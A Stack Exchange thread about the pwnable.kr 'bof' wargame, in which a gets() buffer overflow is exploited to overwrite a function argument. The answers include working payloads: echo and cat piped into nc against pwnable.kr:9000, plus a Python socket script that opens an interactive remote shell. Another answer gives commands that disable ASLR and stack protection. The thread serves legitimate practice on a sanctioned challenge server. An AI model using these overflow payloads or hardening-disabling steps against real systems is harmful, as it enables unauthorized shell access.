4

I was solving bof challenge on http://pwnable.kr/play.php it is required to smash the stack of the following code

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key != 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

and I was given compiler version of that I was supposed to exploit the task was straightforward but when I overflow the array overflowme the control I never transfered to /bin/sh instead I get something like *** stack smashing detected ***: ./bof terminated attempt1: try filling the array with zeros except for the key but failed attempt2: get memory dump for where the array is stored and overflow the array with that dump but still failed

  • 6
    I'm voting to close this question as off-topic because I don't think that stackexchange is the right place to spoil wargames : they are meant to be played, and posting a complete solution will kill the fun for every player. – jvoisin Jan 18 '16 at 11:51
6

The answer from Jason is the correct solution. However, I wanted to give an alternative answer without Python, but from the terminal. IMO Python is always preferred for better automation, but sometimes you just wanna have a quick exploit done without extra tools.

With that in mind, one's natural attempt would be something like below:

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca\x0a" | nc pwnable.kr 9000

After all, this is an exact replica of the code above in Python, right? Except, the server begs to differ:

*** stack smashing detected ***: /home/bof/bof terminated overflow me :

So, what is the problem, then?

Think about the command above, for a moment. It sends a bunch of characters to the stdin of the remote process, in the hopes of running /bin/sh. However, we still get greeted by the error. The reason for this, is that we are sending the correct payload, but then we are stopping. EOF. /bin/sh has no input, so execution continues to the next line, until the stack protector kicks in.

The reason why Python works and the echo command doesn't, is continuity. Python doesn't close the stream, while the terminal version does.

To prove it, here's a slightly longer version of the terminal exploit, which actually works:

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca\x0a" > payload.bin

First, we save the exact payload as before, to a file named payload.bin in this case. Next, we run the following command:

cat payload.bin - | nc pwnable.kr 9000

(Note the - after payload.bin, after cat is done outputting contents of payload.bin, it will start outputting whatever comes in via stdin)

And voila! Now you are actually in. You can try typing shell commands, such as cat flag, or touch /tmp/pwned or whatever you like.

Whew! That was long. Hope this info will help other confused souls as it did help me a while ago.

7

You don't need to bypass gcc's stack smashing detection. If you overwrite key correctly, you get an interactive shell before the stack check is performed at the end of func(). Here's the proof in the form of a Python script:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("pwnable.kr", 9000))
s.send("A"*52 + "\xBE\xBA\xFE\xCA" + "\x0A")
print "You now have an interactive shell :)"
while True:
    s.send(raw_input() + "\x0A")
    print s.recv(1024)
  • well I tried this echo -n -e "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00" | nc pwnable.kr 9000 but it didn't work If you can spot If I missed something – oddcoder Jan 16 '16 at 23:42
  • gets() expects a line-feed character at the end of the input string, but you're instead using a null-byte at the end of your echo statement. – Jason Geffner Jan 17 '16 at 15:34
  • Also, I don't think \x00 works with echo. – Jason Geffner Jan 17 '16 at 16:22
  • actually it did work you can verify by piping the output to xxd – oddcoder Jan 17 '16 at 20:38
  • @AhmedAbdElMawgood very old question, but I have posted an answer that might help you understand why the version with echo won't work. – TGO Aug 19 '18 at 14:00
6

first, you should disable ASLR system-wide, you can do this as follows:

echo "0" > /proc/sys/kernel/randomize_va_space

second, compile your program using flag with -zexecstack -fno-stack-protector -g

example gcc program.c -o program -zexecstack -fno-stack-protector -g

cheers :)

  • 2
    This won't help get that remote flag though :/ – TGO Aug 19 '18 at 14:01

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.